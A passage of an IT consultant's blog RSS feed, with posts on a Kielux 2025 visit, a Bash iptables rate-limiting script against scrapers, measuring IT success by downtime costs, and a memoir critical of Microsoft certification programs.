&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Crunch">https://de.wikipedia.org/wiki/Crunch&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Gespeicherte_Prozedur">https://de.wikipedia.org/wiki/Gespeicherte_Prozedur&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Quod_non_legitur">https://de.wikipedia.org/wiki/Quod_non_legitur&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20241004-bookstacks-dokumentation/">https://blog.jakobs.systems/micro/20241004-bookstacks-dokumentation/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Asynchrone_Kommunikation">https://de.wikipedia.org/wiki/Asynchrone_Kommunikation&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Dokumentenlenkung">https://de.wikipedia.org/wiki/Dokumentenlenkung&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://media.ccc.de/v/froscon2020-2605-no_we_won_t_have_a_video_call_for_that">https://media.ccc.de/v/froscon2020-2605-no_we_won_t_have_a_video_call_for_that&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Meet me @ Kielux 2025</title><link>https://blog.jakobs.systems/en/micro/20250912-kielux/</link><pubDate>Fri, 12 Sep 2025 09:05:43 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20250912-kielux/</guid><description>Next Friday and Saturday you find me at the Kiel Open Source and Linux Days, also known as Kielux.</description><category>Kielux</category><category>Opensource</category><category>Linux</category><content>&lt;p>Next Friday and Saturday (September, 19th + 20th 2025) you find me at the Kiel Open Source and Linux Days, also known as Kielux.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> As guest, I’ll be attending a few talks and workshops.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20250912-kielux.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20250912-kielux.webp#c" alt="Kielux 2025 Banner" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Looking forward,&lt;br>
Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://www.kielux.de/">https://www.kielux.de/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>HTTP Limiter on codeberg.org</title><link>https://blog.jakobs.systems/en/micro/20250904-http-limiter/</link><pubDate>Thu, 04 Sep 2025 16:30:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20250904-http-limiter/</guid><description>A Bash script I've used for many years got some love recently and I've uploaded it to Codeberg. The HTTP Limiter is my answer to the bots, scrapers, and pentest tools that constantly hammer on my public facing hosts.</description><category>Bash</category><category>Websites</category><category>Tool</category><category>Opensource</category><category>Codeberg</category><content>&lt;p>A Bash script I&amp;rsquo;ve used for many years got some love recently and I&amp;rsquo;ve uploaded it to Codeberg.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> The HTTP Limiter is my answer to the bots, scrapers, and pentest tools that constantly hammer on my public facing hosts.&lt;/p>
&lt;p>Though &amp;ldquo;hammer&amp;rdquo; might actually be an understatement. What once seemed like constant background noise has now become the norm with noticeable consequences: Log files grow faster and make you blind to relevant entries. Processing meaningless requests consumes more CPU, RAM, and bandwidth. REST APIs in particular, often implemented in slow frameworks and programming languages with sluggish database connections, are highly vulnerable to DDOS&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> attacks.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20250904-http-limiter.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20250904-http-limiter.webp#c" alt="Screenshot of the project on Codeberg" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Of course my HTTP Limiter is just a &amp;ldquo;poor man’s defense&amp;rdquo; for individual and small systems. Any load-balancing cluster and proof-of-work implementation like Anubis&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> is far more better. But hey, it works and sometimes things just need to be simple and fast. The HTTP Limiter is perfectly sufficient. It injects its iptables chains into ufw before.rules and processes requests before high-level services even have to deal with them. The following rules apply:&lt;/p>
&lt;ul>
&lt;li>Allow a maximum of 100 new connections within 10 seconds from a single IP.&lt;/li>
&lt;li>Allow a maximum of 250 connections from an IPv4 /24 subnet.&lt;/li>
&lt;li>Allow a maximum of 250 connections from an IPv6 /64 subnet.&lt;/li>
&lt;li>Optionally block entire ASNs (especially effective against BigTech).&lt;/li>
&lt;/ul>
&lt;p>These are thresholds developed over years, proven to work well for typical websites and self-hosted services in the SME sector. Your mileage may vary, and the rules can be freely adjusted.&lt;/p>
&lt;p>If you like, you can port everything to the more modern nftables and adapt it for other distributions, that may deviate from the &amp;ldquo;Debian way.&amp;rdquo;&lt;/p>
&lt;p>With that in mind,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://codeberg.org/tomas-jakobs/http-limiter">https://codeberg.org/tomas-jakobs/http-limiter&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Denial-of-service_attack">https://en.wikipedia.org/wiki/Denial-of-service_attack&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://anubis.techaro.lol/">https://anubis.techaro.lol/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>How to measure IT Success?</title><link>https://blog.jakobs.systems/en/blog/20250820-how-to-measure-success-in-it/</link><pubDate>Wed, 20 Aug 2025 17:30:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20250820-how-to-measure-success-in-it/</guid><description>IT success should not be measured by maximized business KPIs, but by every hour without downtime.</description><category>Concepts</category><category>Security</category><category>Management</category><content>&lt;p>A typical crisis meeting scenario: The Management and myself as an external consultant or information security officer sitting in a conference room:&lt;/p>
&lt;blockquote>
&lt;p>Our processes are being slowed down by too many security requirements.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>Employees are complaining.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>&amp;lsquo;Your&amp;rsquo; IT security is becoming a risk to our business.&lt;/p>
&lt;/blockquote>
&lt;p>Such statements mark an important turning point for IT in small and medium-sized enterprises. They reflect concerns about change and loss of control.&lt;/p>
&lt;p>Where collaboration used to be shaped by proximity and hierarchy before, successful companies rely on teamwork, clear processes, modern management tools, and automation today. A few examples:&lt;/p>
&lt;ul>
&lt;li>Manual tasks are turned into scripts and stored in Git(Ops) repositories.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Work is no longer done &amp;ldquo;on demand&amp;rdquo; but through clearly documented tickets, linked to assets.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Static Excel sheets are replaced by dynamic management tools that can be accessed by business intelligence&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> applications such as Metabase.&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>&lt;/li>
&lt;li>External partners and suppliers are managed through access management systems.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Know-how is documented in a company-wide wiki or knowledge management system.&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Mobile devices are centrally managed by a MDM.&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>&lt;/li>
&lt;/ul>
&lt;h2 id="the-elephant-in-the-room">The Elephant in the Room&lt;/h2>
&lt;p>How should one respond to such criticism? There is no universal solution. Every company is different. Sometimes, taking a clear stance also means that paths must diverge.&lt;/p>
&lt;p>IT strategies require both, flexibility where it makes sense, and consistency where basic requirements are concerned. Anyone without backbone in such discussions, who cannot distinguish between compromise and necessity, will fail in the long run.&lt;/p>
&lt;p>The key questions are:&lt;/p>
&lt;ul>
&lt;li>Is there a genuine willingness to work in a modern, transparent, and team-understandable way?&lt;/li>
&lt;li>How can successful operated IT be measured or even communicated?&lt;/li>
&lt;/ul>
&lt;h2 id="calculating-the-real-cost-of-downtime">Calculating the Real Cost of Downtime&lt;/h2>
&lt;p>The answer is surprisingly simple and can be found in any accounting system. Factors include:&lt;/p>
&lt;ul>
&lt;li>Wages and salaries&lt;/li>
&lt;li>Insurance, taxes, and recurring payments&lt;/li>
&lt;li>Rent, leases, and financing for buildings, machines, vehicles&lt;/li>
&lt;li>Ongoing contracts for electricity, gas, water, communication&lt;/li>
&lt;li>Maintenance, license, and service contracts&lt;/li>
&lt;li>Membership fees or other obligations&lt;/li>
&lt;/ul>
&lt;p>We are not talking about hard to calculate factors like reputational damage or loss of revenue. This is about concrete figures fixed costs incurred every day, regardless of whether the company can work productively or not.&lt;/p>
&lt;p>Even with a medium two-digit staff size the fixed costs quickly sum up to tens of thousands of Euros per day. For companies with a low three-digit employee count on its payroll, we are somewhere in the six-digit figures per working day.&lt;/p>
&lt;p>At this point, discussions about risk minimization&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> and IT security gain a very tangible perspective. For example, the cost of adding an extra node in a high-availability cluster may represent only a few percent of the potential damage caused by an outage. Or when the question arises whether two-factor authentication is &amp;ldquo;too complicated&amp;rdquo; and &amp;ldquo;slows down work.&amp;rdquo;&lt;/p>
&lt;h2 id="a-shift-in-perspective">A Shift in Perspective&lt;/h2>
&lt;p>From this point on, it becomes clear that every hour of downtime leads to measurable losses. The most important metric for IT success is therefore not efficiency, but security and stability.&lt;/p>
&lt;p>Anyone who views IT solely through a business lens, or merely as a service provider, will always see security as an obstacle. This leads to misguided priorities, incentive structures, and KPIs in practice.&lt;/p>
&lt;h2 id="understanding-it-monitoring-strategically">Understanding IT Monitoring Strategically&lt;/h2>
&lt;p>Every IT Monitoring, personally I prefer the open-source software Zabbix,&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> can deliver the key operational metric: availability.&lt;/p>
&lt;p>A scale value where the difference between 98%, 99%, or 99.99% may seem small at first glance, yet in reality, it can determine the very survival of a company.&lt;/p>
&lt;p>Ironically people with a business background often don’t trust the math and I end up explaining that 98% availability means loosing 14 hours per month.&lt;/p>
&lt;p>If I would follow the Pareto principle&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> and would be satisfied with just 80%, that would mean accepting up to six days of downtime per month. No company in the world should run its IT in that way.&lt;/p>
&lt;p>In fact several companies in Germany are &amp;ldquo;switched off&amp;rdquo; by ransomware every single day.&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> According to Bitkom the annual damage to the overall economy amounts to 289 billion Euros.&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup> And this happens despite extensive controlling and executive dashboards showing everything is fine.&lt;/p>
&lt;p>It’s quite like on the R.M.S. Titanic: Once declared unsinkable, everything in the green until just before the disaster. A radioed iceberg warning from the nearby Californian was ignored. Greeting messages were given higher priority.&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup> The ship steamed ahead at full speed into the night, effectively blind. The trajectory of failure in typical cyber incidents is frighteningly similar.&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup>&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>IT is sustainably successful when operated properly and measured against actual downtime costs. Of course in addition to security posture, user trust and resilience. When machines run without interruption, customers experience no delays and invoices can be paid on time.&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup>&lt;/p>
&lt;p>As a consultant and especially as an information security officer (CISO), my job is to clearly identify risks and ask critical questions. Not to block decisions or complicate processes, but to make consequences visible and to mitigate problems.&lt;/p>
&lt;p>This may be uncomfortable and requires the strength to draw clear lines and to say &amp;ldquo;No&amp;rdquo; sometimes.&lt;/p>
&lt;p>Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20240908-gitops-veeam-ersatz/">https://blog.jakobs.systems/blog/20240908-gitops-veeam-ersatz/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://glpi-project.org/">https://glpi-project.org/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Business_intelligence">https://en.wikipedia.org/wiki/Business_intelligence&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://metabase.com/">https://metabase.com/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20231010-supplychain-management/">https://blog.jakobs.systems/blog/20231010-supplychain-management/&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://www.bookstackapp.com/">https://www.bookstackapp.com/&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Mobile_device_management">https://en.wikipedia.org/wiki/Mobile_device_management&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20240506-service-tips-windows/">https://blog.jakobs.systems/blog/20240506-service-tips-windows/&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://zabbix.com/">https://zabbix.com/&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Pareto_principle">https://en.wikipedia.org/wiki/Pareto_principle&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20221025-geplatzte-ads/">https://blog.jakobs.systems/micro/20221025-geplatzte-ads/&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://bitkom.org/sites/main/files/2025-09/bitkom-pressekonferenz-wirtschaftsschutz-cybercrime.pdf">https://bitkom.org/sites/main/files/2025-09/bitkom-pressekonferenz-wirtschaftsschutz-cybercrime.pdf&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://revolutionsincommunication.com/features/radio-and-the-titanic/">https://revolutionsincommunication.com/features/radio-and-the-titanic/&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20240128-sit-ransomware-abschlussbericht/">https://blog.jakobs.systems/micro/20240128-sit-ransomware-abschlussbericht/&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20250420-zweitbeste-loesung/">https://blog.jakobs.systems/blog/20250420-zweitbeste-loesung/&lt;/a>&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>From Minstrel to Heretic</title><link>https://blog.jakobs.systems/en/blog/20250712-from-mistrel-to-heretic/</link><pubDate>Sun, 13 Jul 2025 16:26:28 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20250712-from-mistrel-to-heretic/</guid><description>There I sat, in the early 2000s, with a hefty tome from Microsoft Press. The proud price back then: 129 Deutsche Marks. I flipped through it and felt a déjà vu: I knew these pages! Not in terms of content, but the layout, the structure, the examples, even the icons in the side notes—they were the lost manuals of the 1990s!</description><category>Windows</category><category>Microsoft</category><category>Concepts</category><category>Opensource</category><content>&lt;p>It was the early 2000s and I was sitting there with a massive brick from Microsoft Press.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> The proud price back then: 129 Deutsche Mark. I flipped through it and felt a déjà vu: I knew these pages! Not in terms of content, but the layout, the structure, the examples, even the icons in the side notes: These were the lost manuals of the 1990s!&lt;/p>
&lt;p>Okay, for the younger generation, I’ll have to explain: Once software used to come in boxes. Big ones with printed books inside. At first, thick ring binders. Later, massive volumes printed on thin and razor-sharp bible-like paper. Overnight, these vanished. First to CD-ROMs, then into the still young internet.&lt;/p>
&lt;p>This was the exclusive MSDN membership.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> A club for those willing to pay four-figure sums annually for Microsoft developer programs performing for the corporate crowd. It was the forerunner of today’s subscription models and paywalls. Luckily for students, it was (almost) free with a university ID and even allowed for commercial use.&lt;/p>
&lt;p>So there I was, holding these lost manuals rebranded as training material, with that nagging, unshakable feeling: Something’s off.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20250713-msbooks.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20250713-msbooks.webp#c" alt="Photo of a bookshelf filled with Microsoft Press books" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h2 id="welcome-to-the-vendor-cult">Welcome to the Vendor Cult&lt;/h2>
&lt;p>Microsoft courted developers intensely, speaking of technological partnerships, sending invitations to their roadshows and product launches. Together we conquer the world and the new millennium! We developers were the key. The now-legendary &amp;ldquo;Developers, Developers, Developers!&amp;rdquo; outcry from Steve Ballmer in 1999 comes to mind.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/p>
&lt;p>I was in my early twenties and believed it all. At the release of Windows 2000, Microsoft stood at its technological zenith. I followed the invitations and was convinced that being a Microsoft Certified Solution Developer (MCSD)&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> would help me land projects and clients more easily. In today’s Microsoft lingo, that’s roughly equivalent to an &amp;ldquo;App Builder.&amp;rdquo;&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&lt;/p>
&lt;p>But clients didn’t care. They wanted problems solved. Nobody ever asked to see a certificate. Even fewer were willing to pay higher rates because of one. When I tried to raise this point with an &amp;ldquo;Ask the Expert&amp;rdquo; at an event in Karlsruhe, I noticed an atmospheric shift. From open, encouraging and friendly to cold, guarded and cautious.&lt;/p>
&lt;p>There it was again that uneasy feeling. Something wasn’t right.&lt;/p>
&lt;h2 id="am-i-exploited">Am I Exploited?&lt;/h2>
&lt;p>Back then, Microsoft exams were product-bound. Windows Server 2000? Sorry, 2003 is just released, throw more money and time at it and come again. Though the concepts barely changed. Same with the Win32 API. The holy cow of backward compatibility prevents real evolution till today. Every Windows 11 or 2025 Server still builds upon the unchanged MMC with its Snap-Ins from 2003.&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Here’s one tiny programming example: You can’t create Windows services with full description text in one go. There are no methods for that in the .NET Framework. You have to go down to the Win32 SCM API&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>, use CreateService() to create the service, and then call ChangeServiceConfig2()&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> on the same handle to set the description. Note the &amp;ldquo;2&amp;rdquo;, there&amp;rsquo;s also a plain ChangeServiceConfig(). All wrapped in a nest of security checks, because CreateService() might have failed earlier, and your app will crash the moment it hits a null handle.&lt;/p>
&lt;p>To this day, the following heuristic holds: Empty description fields in Windows Services tell you a lot about the developer or vendor.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20250713-win32-sample.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20250713-win32-sample.webp#c" alt="Screenshot showing numerous services without descriptions" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>I can’t recall ever learning such details from any exam or manual. Even not from &amp;ldquo;the Petzold&amp;rdquo;,&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> the Win32 reference Bible. You only learn such things through hands-on experience in environments, where stability and quality matter. I found it increasingly difficult to associate these with products from Redmond.&lt;/p>
&lt;p>That uneasy feeling again. This can’t be normal.&lt;/p>
&lt;h2 id="certified-incompetence">Certified Incompetence&lt;/h2>
&lt;p>Somewhere between 2005 and 2007, the penny dropped: Being a certified Microsoft Partner was like being a member of the medieval church. You paid your tithe, joined the congregation, and got excommunicated at the moment you dared to ask questions.&lt;/p>
&lt;p>And the certificate itself? Well, it tested your knowledge of features, never your understanding of architecture, code quality or something as radical as common sense.&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Over the years, I met plenty of people who collected exams like Pokémon cards but whose code lacked a single &amp;ldquo;try..catch&amp;rdquo; exception handler&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> and who’d never heard anything of SRPs&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup>. One day they swore by Silverlight only to watch Microsoft bury it on another day.&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup> Then came Metro, then UWP, then WinForms and then&amp;hellip; whatever came next.&lt;/p>
&lt;p>This parroting of trends, this chasing of erratic product politics, it’s not normal. For a business it’s downright toxic.&lt;/p>
&lt;h2 id="lost-my-faith">Lost my Faith&lt;/h2>
&lt;p>Today, many years later, I see it clearly: What I acquired back then wasn’t knowledge. It was an act of loyalty disguised as a certificate of competence. Not education, but indoctrination, value added for Microsoft, not for us.&lt;/p>
&lt;p>Since 2007, I’ve quit all memberships and partner programs. This photo of my home office documents the last version of Windows I ever used productively. I skipped the leap to Windows Vista entirely.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20250713-homeoffice2007.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20250713-homeoffice2007.webp#c" alt="Photo from 2007 showing my Windows Setup" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Ironically, I still solve problems involving Microsoft technologies and infrastructures. The difference now: I follow the client’s needs and aim for sustainability and real problem-solving free of product politics, free of that religious vendor cult.&lt;/p>
&lt;p>The lost manuals of yesteryear still sit on my shelf. A reminder of a bygone era and a warning, never again to work under such vague, uneasy feelings.&lt;/p>
&lt;p>Now my tech stack and toolchains are open and can’t be locked away by anyone. Unlike what recently happened to many Microsoft partners.&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Now I sit here with a coffee at my GNU/Linux workstation, working with and on free software, standing on the shoulders of giants, countless open solutions, for the good of the community.&lt;/p>
&lt;p>It’s been a long road, but now everything finally feels right.&lt;/p>
&lt;p>Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Microsoft_Press">https://en.wikipedia.org/wiki/Microsoft_Press&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Microsoft_Developer_Network">https://en.wikipedia.org/wiki/Microsoft_Developer_Network&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://youtube.com/watch?v=8fcSviC7cRM">https://youtube.com/watch?v=8fcSviC7cRM&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Microsoft_Certified_Professional">https://en.wikipedia.org/wiki/Microsoft_Certified_Professional&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
